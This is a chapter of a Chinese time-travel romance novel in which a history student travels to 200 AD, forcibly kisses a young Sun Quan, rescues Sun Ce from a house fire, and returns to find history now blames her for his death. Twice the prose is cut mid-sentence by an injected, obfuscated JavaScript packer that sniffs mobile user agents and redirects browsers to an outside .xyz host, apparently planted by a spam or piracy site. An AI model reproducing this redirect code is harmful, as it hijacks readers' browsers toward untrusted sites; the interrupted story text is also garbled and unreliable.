《棺椁聘孙权》 1. 梦从 “站住!” 步一乔一个劲儿地跑,身后的少年一个劲儿地追。从前院一路追到后院隐匿的地牢,两人速度不相上下。 此时此刻,她突然想起了自己穿越到江东的目的——拯救孙策,避开刺杀。 然而目的不成,反被追杀。 “我说你怎么这么执着!放我走要死啊!” “跟我回去见兄长!” “见个屁啊!我才二十一,还想多活两年呢!告辞!” 步一乔刚想跳进棺材,身后之人也适时追上,一把抓住步一乔。 “站住!不许再跑了!”少年将人从棺材边拉扯开。 被抓住的步一乔没挣,反而就着他的力道倏地转身,一张脸毫无预兆地凑到他眼前,上下打量。 少年被她这突如其来的贴近吓一跳,眼神慌乱地四处乱飘,就是不敢看她。 渐渐地,整个红温。 终归还是个青春期的小屁孩啊,步一乔心想。 “喂,”步一乔开口打破沉默,“你先别脸红,我先确认一下。你是孙仲谋对吧?孙权的那个孙仲谋?” 孙权正兀自羞窘,被她连串的问题砸得一懵,下意识答道:“我……正是……” “很好!确认收货!” “收什么……唔?!” “货”字尾音还未落地,步一乔突然揪住他的衣领,猛地向自己一拽。 孙权毫无防备,只觉得一股力道袭来,下一秒,唇上就印下了一片柔软温热的触感。 他惊得双目圆睁,胡乱的双手不敢落在步一乔身上,只好握紧空气。 独独没想过一把将人推开,避而远之。 然后,啪—— 利落的耳光甩在孙权左颊,步一乔甩了甩发麻的手,笑嘻嘻地欣赏他脸上清晰的巴掌印。 “礼尚往来!亲一下,打一下,我们就算两清啦!” 孙权捂着瞬间发烫肿起的脸颊,震惊、羞愤、委屈、难以置信种种情绪最终汇成一句颤抖的指控: “你!强吻于我,还……还动手打人?!” “我就是要打你!要不是你长得眉清目秀,我还打你!告辞。” 步一乔抬起腿正要跨入棺椁内—— “站住!” 孙仲谋突然攥住她手腕反身压上身后地牢的石墙,步一乔后脑磕在凸起的砖石上。 她刚想破口大骂,就看见孙权一脸歉意的表情,生生把脏字吞了回去。 “怎么?我可不会对你负责的啊!” 强吻人虽不是她本次穿越的终极目的,不过好色之徒的临时起意。 步一乔的想法很简单:反正要走了,不如爽一把。 奇怪的是,这吻……有种奇怪的感觉?麻酥酥的,很熟悉? 孙权压在她手腕上的手松了些力道:“那至少告诉我……姑娘姓名吧?” 步一乔狐疑地眯起眼睛,忽然笑出声:“你该不会喜欢上我了吧?” 孙权偏过头,“……没有。” “没有就没有,你犹豫个啥?还以为你对我动心了呢。” 步一乔不屑一顾。 “没必要知道,我对你没兴趣,走了。” 她单手撑在棺材边沿正要起跳,突然又被一股力道拽回去,身体失去重心,整个人摔倒在地,后脑猝不及防撞上某人腿间。 得亏孙权站得笔直,两腿间距不宽。这要是卡进去,姿势跟什么奇异变种人似的,那还得了! “你不许走!” “哎呀你好烦啊!” 步一乔坐在地上仰头瞪他,然后不耐烦地又给了他一耳光。 * 建安五年,抱着给孙权一耳光的目的,步一乔躺进棺材,穿越至此。 当棺材板板掀开的瞬间,一切新奇。 想不到躺在苏州孙氏旧址地牢的棺材里真的能穿越!只是具体穿哪儿来了,好像没个提示? 怎么不来个系统提示:宿主好,您现在所处的时间巴拉巴拉的。 步一乔脑补了一大堆没用的东西后,走出地牢,开始观察思考眼下自己的状况。 已知自己躺在里面默念的时间是200年,因一时想不起孙策具体去世的时间,步一乔只能念出隐约正确的年份。 默念完毕,眼睛一闭,感觉身体漂浮又落下,估摸着是穿越成功了…… 尽管地牢看上去和2025年并无太大区别。 记得住事件过程,独独记不住时间,这是步一乔学术生涯最大的缺点。 “按照旧址纪念馆的介绍,地牢就修在孙家的后院。所以……”一面喃喃,步一乔一面走出地牢。 眼前算不上奢靡的宅院,应该就是孙家了吧。 “好歹也是当官的,怎么住得这么简单?行吧,东汉末年的建筑水平也就这样了。” 传闻吴夫人颇爱在自己宅院栽花种草,花美却耐不住几个顽皮的孩子折腾,对此吴夫人屡屡头疼。 “不愧是苏州,优秀千年传统文化啊……哦对,现在该叫吴郡。” 步一乔蹲下身,凑近尚是花苞的荼蘼,指尖轻触。 “荼蘼花?还没正式到花季,莫非现在是……四月?!哪一年的四月?不能是孙策死那年的四月吧!” 完全有可能! 思及至此,步一乔赶忙捞起宽大的裙摆,快步凭着来之前恶补的孙家布局图,奔向主屋。 为了穿越过来不暴露,步一乔特地网购了一套复原东汉女子服饰的汉服。 奈何脑子打铁,买错尺码,裙摆长得跟扫地机似的,走几步,裙摆下面瞬间收集满枯叶石子。 * 室内,孙策与众人正商讨发兵北上一事,步一乔潜伏在门口窃听。 一听到北上两字顿时傻了。 建安五年!和历史书上记载的完全吻合!孙策要完了! 也就这种时候步一乔脑子特别灵光。 “站住!你是谁!不许进去!” 步一乔冲破门口的守卫,不顾一切闯入室内。 果不其然,人都搁这儿呢。 尽管不确定这群大老爷们里,有没有她要找的人。 放眼望去,唯独一人雄姿英发,剑眉星目,器宇轩昂,在满堂悍将中犹如朗月悬空,卓然不群。 “敢问,是孙策将军吗!” 堂上端坐的青年将领眉峰骤然收紧,他未置可否,只抬了抬下颌,示意阶下这个来历不明的女子继续说下去。 没有反驳,定然是本人无疑了。 步一乔心头狂跳,却也强自镇定,快步上前,在离孙策案前约三步之遥处稳稳站定,旋即双手抱拳。 “我叫步一乔,至于身份信息……暂时不便透露。不过,请将军一定相信我!我是来救你的!听我一言,可保将军长命百岁,免遭毒手,一统东南!” 噼里啪啦一顿说完,步一乔竟未察觉有什么不对。 孙策凝眉更甚,上下打量起眼前站定的陌生姑娘。 虽穿着汉家服饰,形制却略显古怪。观其神态气质,莫非是逃难而来的富家女子,可哪有世家小姐会这般莽撞失仪? 莫非是西凉来的妖人?袁术派来的刺客? 可她眼神清澈,不似作伪。然近日军中确有异动,且看她有何说辞,再做定夺。 想着想着,孙策的手不自觉搭上手边的铁器。 步一乔顺着他细微的动作,看了眼孙策放在手边的刀剑,剑柄上面似乎凝着疑似血垢的东西。 心里一咯噔,生怕眼前的小霸王心气不顺,把自己咔嚓一刀了结了。 不过,那可是孙策啊!自己的春梦常驻对象,想到他就浑身发痒的孙策啊! “好帅啊……本人比臆想的还要帅千倍啊!!”她几乎是无意识地喃喃低语。 “姑娘方才说什么?” “没、没什么!只是初见将军,就被那股子英俊潇洒的帅气给迷倒了,有点……怪不好意思的。” 置在桌面上的手指缓缓地点了点,明明孙策什么都还没说,步一乔却莫名隔着空气,感受到一股冰冷的寒意窜上背脊。 肃杀之气逐渐攀升,步一乔茫然四顾,发现每个人都用凛冽的目光盯视自己。 眼看事态发展不对劲,步一乔转过身欲要逃走,然而就在回头刹那,一抹剑光闪过。 两个男人挡在跟前,尖锐的刀刃架在自己脖子上。 “你不能走。”身后传来孙策冰冷的声音。 “为啥?……为何?” 步一乔不是怕得声音发抖,而是为了让自己的语境听上去符合当下历史,转而改了口。 “擅自闯入,窃听情报,妖言惑语,抓去牢房,明日问斩。” 孙策话音落,两个男人一人拎一条步一乔的胳膊,作势把人同垃圾似的丢出去。 “啊!?我没有乱讲话啊!我说的都真的!孙策将军!伯符!我没有说谎!”步一乔彻底慌了,挣扎着大喊。 孙策似乎被她这不顾一切的喊叫触动,略一抬手,示意侍卫暂缓。 “事关江东的未来,我何必说谎!肯定是知道事情的重要性,才冒着危险来告诉你啊!” 她声泪俱下,一番恳切至极的辩解,终于让孙策的态度缓和了些许,道歉着命人摆桌设宴,招待远道而来的客人。 此等劫后余生的跌宕起伏感,步一乔这辈子都不想再体验第二次了。 * 孙策身着绀色衣裳,头发用发带缠在发顶。俊英的脸庞轮廓分明,眉宇间,沉静时自带杀气,大笑时是潇洒英雄。 步一乔端着酒觞,眼睛一瞬不瞬地盯着她的梦中情人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467236|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谁说三次元不如二次元的!真人可比游戏角色帅千百倍啊! 席间,孙策执觞,状似随意地再次发问:“姑娘从何而来?” 步一乔咽下口中的吃食,随口道:“啊,我从棺材里面爬出来的。” 话音落下,席间霎时静得可怕,所有目光都胶着在这语出惊人的女子身上。步一乔这才后知后觉,恨不得 孙策眉宇骤然一凝,唇角勾起一丝冰冷的嗤笑:“果然是个满口胡言的妖人,来人,拿下她!” 留下一句不可反驳的命令后,孙策拍案起身离开,再也没回过头。 步一乔慌了:“诶诶诶?!别抓我啊!我真是来救你的!将军!孙策将军!伯符!你听我说完啊!!” * 牢房内,步一乔蜷坐在尚有微温的篝火余烬边,毫无睡意。 是该想办法逃出生天,还是该赌上性命,再去试一试那几乎为零的、说服孙策的可能? “……再去劝说,孙策肯定会二话不说一刀把我砍了!” 好可怕!那个伯符肯定做得出来的!自己这是穿越来干嘛了!信誓旦旦说好改写历史呢! “不过三次元的孙策真的好帅啊……嘿嘿~” 突然犯起花痴,忘了正事,步一乔啪啪给自己打清醒。 “不行,我得逃出去。” 给自己定了定心,步一乔开始观察起地牢的构造。除了一道被上锁的木门,似乎没有别的出口。 要不是试试一脚把门踹开? 想法刚冒出来,步一乔冷笑着自我反驳:“我要是有这能耐,就不会学历史了。” 大学靠着擦边分数勉强考上了A大,却因分数实在不够看,生生被补录到最后一个志愿历史系。 怕本科毕业找不到工作,逼迫自己继续读研。 说是幸运加持,倒也算。 至于怎么成了孙策的梦女? 只能夸现如今各大游戏开发商,对历史人物的塑造过于完美。使其一场春梦后,无法忘怀。 * 冥思苦想数日,步一乔依旧想不到闯出去的法子。 这日,昏昏欲睡之际,地牢的门被打开。她没太在意,又闭上眼睛继续打瞌睡。 “喂,你。” 守卫一脚将步一乔踹醒,人一下倾倒撞在地上惊醒。 “将军要见你。” “孙策要见我?!侍寝吗!” “呵,我家将军能看上你?” “我怎么了?长得很丑吗?” “我家将军最不信鬼神,你这么个天上掉下来的,留你的小命到现在,已经谢天谢地了。还侍寝?做白日梦去吧。” “……孙策不信鬼神?” 东汉末年,张角创立了太平道,张陵创立了五斗米道。古人不是干啥都讲究天时地利人和,龟甲占卜算时机? 守卫一脸骄傲道:“道长说,我家将军阳气过旺,神仙认其为武神下凡化身而成。神仙哪儿有信神仙的道理?自然就不信了。” 好牵强的理由。 不过想想,孙策称“小霸王”也不是没有道理。 “霸王”最终四面楚歌、自刎江边。 同为名将之后,时代霸主。 “小霸王”一生自年少便有勇有谋,不畏前险。 放走许贡之子与门客,该是孙策此生孤勇朝前最大的失误吧。 * 念在是女子的份上,守卫没有给步一乔戴上镣铐,比着尖刀押送。 “能冒昧地问一下,将军叫我去做什么吗?” “问斩。” “怎么还给提前了?!” 这走向绝对有问题!再不跑可就真回不去了! 灵机一动,步一乔想到了影视剧惯用的逃脱技巧。实际操作成不成暂且不论,试试再说。 “那个,小哥?麻烦你跟将军说一声,我上个厕所就来。” “厕所是谁?你为何要上他?!” “茅房!我去方便一下。姑娘家家你也不好看着。就劳烦您先去说一声,我随后就到。” 守卫不耐烦地横了她一眼,“搞快点。” “好嘞,您放心,马上来。” 恭恭敬敬地目送走侍从,步一乔立马换了副嘴脸,不耐烦翻了个白眼。 “马上来?做梦。永别了您嘞。” 捞起长裙抱在怀中,步一乔迈开大步奔向后院。 在钻狗洞和翻墙之间难以抉择。 仔细对比二者发生尴尬时的场面,钻狗洞卡在中途实在有损颜面,翻墙吧,大不了摔下来搞得人仰马翻。 费死费力爬上墙头,忽闻身后炸开厉喝:“喂!你干嘛!” “啊?啊!!!!” 步一乔脚下一滑。 要掉下去了! 2. 如梦 幸而墙壁不高,步一乔摔下来只尾椎骨窜上一股痛意,其余地方完好无损。 “哎哟!好痛!谁啊!” 步一乔气呼呼地挺身而出。两脚刚踩稳地面,屁股刚离地,又一个踉跄坐了回去。又挣扎着再来一次,又倒。又起,又倒。 最终还是采用了翻身之术,撅起个屁股对准面前的人,双手撑地,才终于爬起来。 跟前的少年始终面无表情地盯着步一乔,哪怕再滑稽搞笑也绝对不会笑。 除非忍不住。 但他是孙权,他忍住了。 抬手指着步一乔,张口就来:“你是谁!为何站在我家房檐上!” “你家?这儿不是孙——” 联想到什么,步一乔一下愣住,将眼前的人上上下下仔仔细细打量了几番。 “你莫非是!” “老实交代!你是谁!” 英姿少年不管不顾,意气风发的模样只有那么帅气。 《江表传》记载,孙权身材高大,七尺六寸,实际一见,确实有一米七几的样子。紫红色的胡须倒看不出,黑灯瞎火的。眼睛炯炯有神,目光锐利。 步一乔顿时好色心燃起,抿唇窃喜。 但又想到孙家人各个善武,还是保命要紧,又立马板着个脸,装作面瘫。 “我是……我说我是迷路至此的,你信吗?” 孙权当然不信,双手抱在胸前,扬起下颌,居高临下睨着步一乔。 “我要抓你去见兄长。” “孙策?!那不行!他会要我命的。” “那我只好在此要了你的命。” 二话不说,凭空出现的剑拔出剑鞘?! 当然不是,不过步一乔的视角看去,那把剑的的确确突然出现。 孙权将藏于身后的剑潇洒利落地在空中划出一道弧线,指向大地。 步一乔吓到连连后退:“我说你们孙家人怎么动不动就要人命啊!人与人之间就不能多一份信任,多一点关怀吗!” “私闯民宅,你还有理了?!” “都说了八百遍,我不是故意——” 突然,步一乔忽地捂住肚子,眉目狰狞,缓慢蹲下身。 孙权诧异,心想自己还没做什么,此人怎么突生异变?连忙收起剑,上前询问。 “你怎么了?!” “我的肚子……好痛……要死了……我要喝水……水……” “水?” 孙权环顾四周。此处离最近的屋子有段距离,取水也只能去那里。可有担心此女趁机调走……罢了,她这副弱不经风又摔了一跤的样子,估计是跑不远的。 “你等着。” 看着背影逐渐远去,步一乔收起演技,活动活动筋骨,不禁嗤笑。 这厮真的是孙权吗?跟个傻孩子似的。 “抱歉啊二公子,我先走咯。” 步一乔自称演技感人,尤其是装病一事上,可谓炉火纯青、浑然天成。 * 此处该是孙家的侧院,地牢在后院,沿着墙壁一路走,只要别绕到正大门,兴许就能到地牢啦。 十五分钟后。 步一乔眼看着即将安然无恙抵达地牢入口,恰逢此时,身后传来由远及近,急促的脚步声。 “站住!不许跑!” 是孙权!拿着把刀朝这边杀来了! 不好!快跑! 借着月光和对谍战片跑酷的那点高清的记忆,步一乔在孙家后花园的假山怪石间跌跌撞撞地穿梭。 碍事的裙摆被树枝勾住了好几次,差点让她即反复跌坐后,再次搁孙权面前表演平地摔跤。 她手忙脚乱地扯开裙角,一边小声嘀咕,一边警惕紧随而来的孙权。 “我去,这孙权属狗的吗?鼻子这么灵!这么快就追上来了!” 孙权,生于182年,壬戌年。 嗯,确实属狗。 身后,沉稳而迅速的脚步声越来越近,此人跑那么快居然大气不喘。 步一乔头皮发麻,一个急转弯,试图利用茂密的花丛隐藏身形。 结果低估了汉代长裙的碍事程度,脚下一绊,“哎哟”一声差点扑进一丛吴夫人精心栽培的月季里。 幸好及时抱住了一根看起来还算结实的廊柱,免去又一杀头灾难。 地牢就在前方!冲啊! 果然,下一刻,孙权修长的身影飞快闪现跟前,堵在了入口。 迎着月光,少年帅气的脸庞毫无戏谑可言,那股迫人的气势让步一乔呼吸一滞。 “放过我吧二公子,我真不是什么不法分子。从小学到高中没干过一件违法乱纪的事儿,上课举手上厕所都觉得破坏课堂秩序,活生生憋到下课才去。大学更是勤奋苦读,怕历史系毕业找不到工作,费力考研,头发直接秃一半。时至今日,仍是刻苦学习的三好青年呐。” 一口气说完,步一乔差点噎过去。深吸一口气,继续道。 “请你相信我,我是好人。” 孙权眯着眼,狐疑道:“……谁家好人逃跑,往地牢跑?” 步一乔无奈歪头,淡淡道:“谁家好人家里修地牢的?” 视线一转,她忽地抬手指向孙权身后:“啊!吴夫人!” “母亲?” 孙权显然没料到步一乔会来一招声东击西,下意识回头查看,再转过来人已跑进地牢。 “你居然骗我!”恼怒的孙权奋起直追。 彼时步一乔已成功抵达棺材旁,跳进去,躺下闭眼,自己就能重回2025年! 这是孙权第一次进地牢,没曾想这里面居然有一口棺材。平日听兄长说,这里不是关着待审讯的贼人吗? 反正只差最后一步,步一乔也不慌了,双手撑在棺材边沿,侧头打量起稍稍隔了些距离站定的孙权。 “我说你怎么这么执着?放我走要死啊!” “跟我回去见兄长!” 步一乔被他一本正经地模样逗笑了,甩手示意他速速离开,自己懒得跟他废话,得赶紧进棺材宿舍睡觉。 “我才二十一呢,还想多活两年,告辞了!” “站住!” 如命令般,步一乔真站住。紧接着,她凑近孙权的脸侧,认真地端详一番,随即露出微笑。 “对了,你是孙仲谋?” “……我是。” 孙权羞涩地眼珠子乱飘,犹豫着对上她的目光。 少年青涩的模样勾起了步一乔的好奇和短暂的心动。她唇角微扬,温凉的指腹擦过孙权的稚嫩的唇瓣。 “多大了?娶老婆——可有妻室?” “尚未……” “不会吧?孙策都二十六,按理说你也十七八九了,早该成婚了吧?” “母亲有提起过……但尚未过门。” “谁啊?” “郡山阴县士族家庭,谢煚之女。” 果然是谢夫人,孙权的第一任妻子,被他“以妾凌妻”的可怜人。 孙权一生妻妾嫔妃众多,迎娶徐夫人时,彼时人家正是寡妇,贪图美色的孙仲谋不顾其亲戚长辈关系,执意迎娶。 甚至令原配妻子谢夫人让出正室之位,将妾室徐夫人认作“嫡妻”。 想到此男如此相貌,干出这等事,日后还只给孙策一个长沙桓王的谥号,步一乔气不打一处来,手痒痒得厉害。 但身为当代优秀青年大学生,深知动手打人是不对,她也只心平气和地骂了句:“渣男。” “啊?渣……男? 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她踮脚含住他下唇轻轻一咬,趁他吃痛时探入更深的纠缠。孙权僵直的后背擦落簌簌墙灰,悬在半空的手最终颤抖着抓住她腰间皱起的衣料。 少年眉头紧皱,哼哼唧唧的娇弱喘息,让地牢压抑的空气染上旖旎。 步一乔退开半寸,鼻尖蹭着他灼热的皮肤轻笑:“孙仲谋,你剑鞘,顶到我了。” 孙权猛地偏过头去,通红的耳垂擦过她唇瓣:“那……那是我的佩剑……剑鞘在……” “哦?” 步一乔打断他的话,故意用膝盖蹭过剑鞘,听见少年倒抽气的声音。 孙权整个人忽地弹起来,又被她按回去。 “现在呢?也是佩剑?” “现在是……是……” 步一乔低笑,“抖什么?刚才追我的狠劲呢?” 少年喉间溢出半声呜咽,又被吞进更深重的吻里。 感觉脸颊感受到什么冰凉湿热的,步一乔微微睁开眼,发现那居然是孙权的眼泪。 是痛吗?不对,应该是感觉自己被羞辱了吧。 步一乔心里骂着自己‘无耻’,唇瓣稍离,眼眸中映照出孙权涨红的脸庞,以及湿润肿胀的唇。 在同样迷离的眼瞳中,她望见了自己心有余悸附有歉意的脸。 “你是不是痛——” 关心的话被堵住,想不到孙权主动贴上来,贪恋般学着她方才的动作……当孙权生涩的舌尖试探时,她的身体却先于理智,不由自主地迎了上去。 两个人都忘了眼下该做什么,忘了本来的目的。 短暂的两分钟,似是两个时辰,忘却、沉沦。 * 然后,响亮的耳光落在孙权脸上。孙权懵然地捂着脸,看着人走到棺材边。 “任务完成,再见。以后不准给孙策封什么长沙桓王,再封我还扇你!” “你——!你在说什么呢??” “还有,叫孙策小心那个叫许——” 话音未落,步一乔突然抽了抽鼻子。 她天生嗅觉比常人敏锐得多,此刻一股焦糊气味正丝丝缕缕钻进鼻腔。 她蹙起眉头,鼻翼急促翕动,顺着气味来源疾步追索。 “这味道……怎么像木头烧起来的味道?” 越往地牢出口走,那气味越发浓烈刺鼻。 待她终于踏出阴湿的地牢,眼前景象让她猛地刹住脚步,倒抽一口冷气。 远处浓烟翻滚,赤红火舌舔舐着夜空,将半个天际染成不祥的橘红色。 火星噼啪爆裂声隐约可闻,热风裹挟着灰烬扑面而来。 “孙权!起火了!是孙策的屋!” 3. 夜奔 “母亲!兄长!” “母亲?” 吴夫人同孙策在一个屋?孙策不是拖自己去问斩吗?莫非是杀给吴夫人看? 越想越离谱,不过眼下不是思维发散的时候。 见人僵在原地不赶紧跑,步一乔一掌招呼在孙权后背上。 “愣着干嘛!快回去救火啊!” 两人奔回前院时,家中侍从已纷纷提水扑救。 孙权这傻孩子一见火光就要往里冲,步一乔跨步上前,揪住他的后领将人拽了回来。 “你找死啊!” 孙权跌坐在地,等步一乔察觉到低沉的抽泣望去时,人已哭成泪人。 “兄长……母亲……” 这孩子怎么还哭了! 步一乔烦闷地抓了抓头发。平生最讨厌小孩子哭哭啼啼,根本哄不好。 她弯下腰,掌轮蛮狠地擦掉孙权脸上的泪水。 “你在这儿等着,我去救他。” “不行!那么大的火,你——” “我好歹学过消防知识,知道怎么救人。” 步一乔信誓旦旦地解下跘脚的长裙和能装三十斤西瓜的大袖,露出内里的蓝色运动套装。 在众人惊愕的目光中,她转头对孙家侍从吩咐:“你们几个看着不许他乱来。你们几个,一人拿两块布巾来,打湿后捂住口鼻。” 众人一时怔住,迟缓应道:“……是。” 所有目光都不由自主追随着眼前恍若脱胎换骨的少女。她束起长发,几缕碎发垂落,扫过白皙纤细的后颈。 “记住,得一直捂着,找到人后也给人捂上,务必把人全部带出来。” “是!” 孙权双腿打颤,神色不安。“真的……能救出来吗?” 步一乔横他一眼,又是一巴掌拍在他背上,打得他一个趔趄。 “你真的是孙仲谋吗?就你这样子以后怎么当皇帝?” “啊?皇帝?” 重点好像搞错了。 步一乔摆摆手,“待会儿把人救出来,记得赶紧拿清水给人清理,记住没?” “记住了……” 他那一脸可怜又无助的模样,莫名勾得步一乔心头发痒。鬼使神差地,她踮起脚,在他紧抿的唇上快速印下一吻。 此刻救火的、忧心忡忡的、甚至路过的猫狗,所有视线都聚焦在这一角。 二公子的清白啊! 步一乔揉捏着孙权稚气未脱的脸。 “行啦,多大的人,不许哭了啊!像什么样子。” * 火海内热气熏蒸,口干舌燥,眼珠子干涩得厉害。步一乔还是太意气用事,过于轻佻莽撞,此时心底一万个后悔。 但那是伯符!哪怕自己半死,也得救下他! “孙将军!孙策!吴夫人!” 火舌吞没了所有回应。 “有人吗!” 高温炙烤,步一乔额际沁出的细密汗珠,瞬间又被热浪蒸干。 一个念头窜入脑海:如果人还活着却没能逃出去,会躲在哪里?墙角?或者密室暗道? 可凭借孙策的身手和机敏,怎会轻易被困住,火势大起来之前怎么不跑? 除非……他当时已经无法行动?或者遭遇了更致命的袭击?! 步一乔越想越害怕。 孙策不会……真的已经出事了吧?! 建安五年,孙策统一江东,势力正旺。 官渡之战一触即发,曹操绝不能容忍后方起火。或利用其专业的间谍团队,除掉孙策? 又或是江东豪强士族? 孙策以武力平定江东,诛杀了大量不愿合作的地方豪强和官员,幸存的家属和门客都有强烈的复仇动机。 难不成许贡的门客提前了计划,把偷袭改家里来了?! 情况愈发迫切,步一乔加快脚步。哪怕只剩具尸体,也得找出来带走! 室内空间不大,步一乔很快发现双脚被粗绳死死捆在沉重桌脚、额角淌血、昏迷不醒的孙策。 “伯符!” 还未及上前,头顶便传来梁柱崩塌的异响。 步一乔疾冲至孙策身旁,千钧一发之际,断裂的横木擦着她的后背砸落在地,侥幸躲过一劫。 “嘿老子一跳!以后不干这种要人命的事情了。” 骂归骂,人得救。 她抽出孙策腰间的匕首,割断脚上绳索。幸好暂未发现其他伤势,双腿无恙。 “孙策?伯符?” 步一乔轻拍他的脸,孙策半睁开眼,唇瓣微颤,却发不出声音。 她迅速分下自己半干的布巾,又从腰间取出备用水囊,将仅存的水倒上去浸湿,小心帮他捂好口鼻。 “千万别松手,我救你出去。” 可怎么出去? 孙策身形高大,体格健壮,昏迷后更是死沉。步一乔就算平日勤练体能,也绝无可能独自背动他。 火势愈猛,热浪灼人。 步一乔见形势危急,心一横,拽起孙策一条胳膊,奋力将他拉得半坐起来,试图将他沉重的身躯扛上自己并不宽厚的后背。 她几乎榨干全身气力,低吼一声,终于将孙策上半身拖上肩背。 重量压下时她一个踉跄,险些跪倒在地。 “将军要是腿还能动,就借把力,咱们一起出去。” 不知是求生本能被唤醒,还是她的呼喊起了作用,搭在她肩上的手臂似乎微弱地收紧了一下。 孙策无意识中挣扎着蹬腿,虽摇晃无力,却好歹分担了些许重量,不再全然拖累。 * 屋外一片混乱,侍从们成功救出了吴夫人及其他尚有生息的人。 步一乔就近从侧门而出,与正门隔了些距离。她在池边空地上放下孙策,跌坐在地大口喘息。 目光扫过孙策,她又立即翻身而起,用湿布为他清理灰烬。 “将军?能听见我说话吗?” 孙策仍昏迷不醒,但胸口微弱起伏。 步一乔松了口气,抬头看向火灾现场。 透过混乱,看到了焦急却有条不紊指挥着一切的少年。 生子当如孙仲谋……屈身忍辱,任才尚计……孙家兄弟各个短命,偏他长命。 “所以孙权为何只封你为长沙桓王?明明听见你出事,他都快急死了。” 虽无正史明确指出,但孙权应该是个兄控吧?步一乔百思不得其解。 她将手伸向眼前雕刻般的脸庞,在即将触及时调转方向,朝着人的胸腹以下挪去。 “想什么呢变态!趁人之危,流氓行为!” 沉了沉气,失望着叹了口气,步一乔撑着膝盖站起身。 “我得趁此机会跑了。伯符你……” 步一乔本想偷偷一吻再离去,嘴唇俨然压至相隔一指之处。可想到已亲过孙权,再亲孙策实在不厚道,只得直起身作罢。 “不对!孙权算什么!我又不喜欢他!真人躺这儿呢!此时不亲,这辈子都没机会了!” 于是,本能胜过理智,步一乔毫不客气地闭上眼俯下身,吻住孙策微张的唇。 临别前还怪不舍得的,用舌尖蹭过唇瓣,齿尖轻咬过再离开。 步一乔看着近在咫尺的脸,忽觉落寞,心头酸涩。 * 片刻后,有了意识的孙策缓缓睁开眼,迟疑着看向身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467238|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边正襟危坐的姑娘。 步一乔双手搭在膝盖上,一脸柔情地看着他。 “将军醒啦?可有哪里不适?就躺着休息吧。” “是你……救了我?” “将军是大福大命之人,是老天救了你,我不过搭了把手。” 孙策听罢,无力轻笑。 “我本想杀你……你却救我……” “那不正好扯平了!” 步一乔笑了笑,看了眼不远处火势将灭,自己得离开了。 “将军听好,危险往往藏在看不见的地方。许贡的门客还没清除干净,尤其是去山林打猎的时候一定格外小心。但我更希望你暂时收一收冲在前的性子,多听听周瑜的谋划,保护好自己。意志再强大的人,也不过血肉。记住,人被杀,就会死。” 她握紧孙策的手,在他微怔的瞩目下神色认真。 “孙家的霸业、江东百姓的命运,可都扛在你肩上。孙权虽善用贤臣,但如果是你,或许能改写孙吴的未来。取缔曹魏,重编华夏历史。” * 远处,安顿好吴夫人的孙权正在人群中焦急寻觅什么。侍从发现池边的孙策,急忙通报。 兄长安然无恙,可救他的人却不见踪影。 孙权瞬间慌了神,连忙问道:“她呢!那位奇装异服的姑娘呢?” 侍从们面面相觑,无人知晓。 “火势太大,我们忙着救人,未曾留意……” 仿佛有什么轰然坍塌。 侍从们见状赶忙上前阻拦。 “二公子!不可贸然前往啊!” “若那姑娘尚未逃出,恐怕……” 孙权被两人拉至安全处,黯淡失落。 他晓得是她救出了兄长,一定还活着,趁此机会逃之夭夭。 “我才刚认识你,便是永别吗?” 步一乔隐于暗处目睹一切,也读懂了他的唇语,拉紧运动外套的拉链,悄然没入夜色。 重回棺中,步一乔再次确认目标时间后,以极其安详的姿态闭目。 “太可怕了,就来这么一回,差点把命搭进去……” 整死也不来了。 * 2025年,A大历史系。 在连续四堂课后,步一乔整个人跟抽干了似的趴在教室桌子上。想到还有一堆要补的昨夜,头痛欲裂。 “没人说穿越的时候,现实时间在照常前进啊……” 穿越过去一天,换算成现实是一个小时。幸亏不是一比一,缺席一周,后果不敢想。 唉声叹气时,头顶飘来一片阴影,一本书猝不及防地落在自己头顶,敲醒昏昏欲睡的灵魂。 步一乔捂着脑袋抬起头,草字都到嘴边又生生咽回去。 “步一乔,你还挺有能耐,到底是去救人还是害人啊?” 是自己历史学综合科的教授,具体姓什么……步一乔至今未知,只一口一个教授。 “我干啥了吗?我可是冒着大火把人救出来的旷世英雄!孙家十八代都得感谢我。” “感谢?没把你找出来乱棍打死够不错了。” “什么意思?” 步一乔感觉教授话里有话。 教授把历史书甩在步一乔面前,她诧异地拿起,定睛阅读教授折起的一页。 《三国志·吴书》 建安五年,孙氏家宅中闯入一不明身份之人,以妖言蛊惑人心,幸而孙策未信,将其关入地牢。却不料贼人身手了得,逃出后放火焚烧宅院,且以绳索将孙策困于火海,不幸身亡,时年二十六。 顿时,步一乔神色惊恐,脸色煞白。 “孙策……死了?我杀的??” 4. 隔岸 东汉末年,狼烟不休,曹操挟天子令诸侯。天下三分,三足鼎立。 建安五年,孙策为其所诛的吴郡太守许贡的门客所伤,不治身亡,年仅二十六。临终前,命其弟孙权接替其位。 彼时,江东局势动荡不安,内忧外患。后在张昭、周瑜等辅佐之下,孙权三次进攻江夏郡,最终击杀黄祖,吞并江夏郡大部。 黄初二年,孙权向曹魏称臣,被册封为吴王。八年后称帝,追谥孙策为“长沙桓王”。 * 教授在台上讲得热火朝天,步一乔在底下越听越火大。 “凭什么!凭什么我家伯符只是个长沙桓王!可恶的孙权!忘恩负义的东西,我跟你没完!” 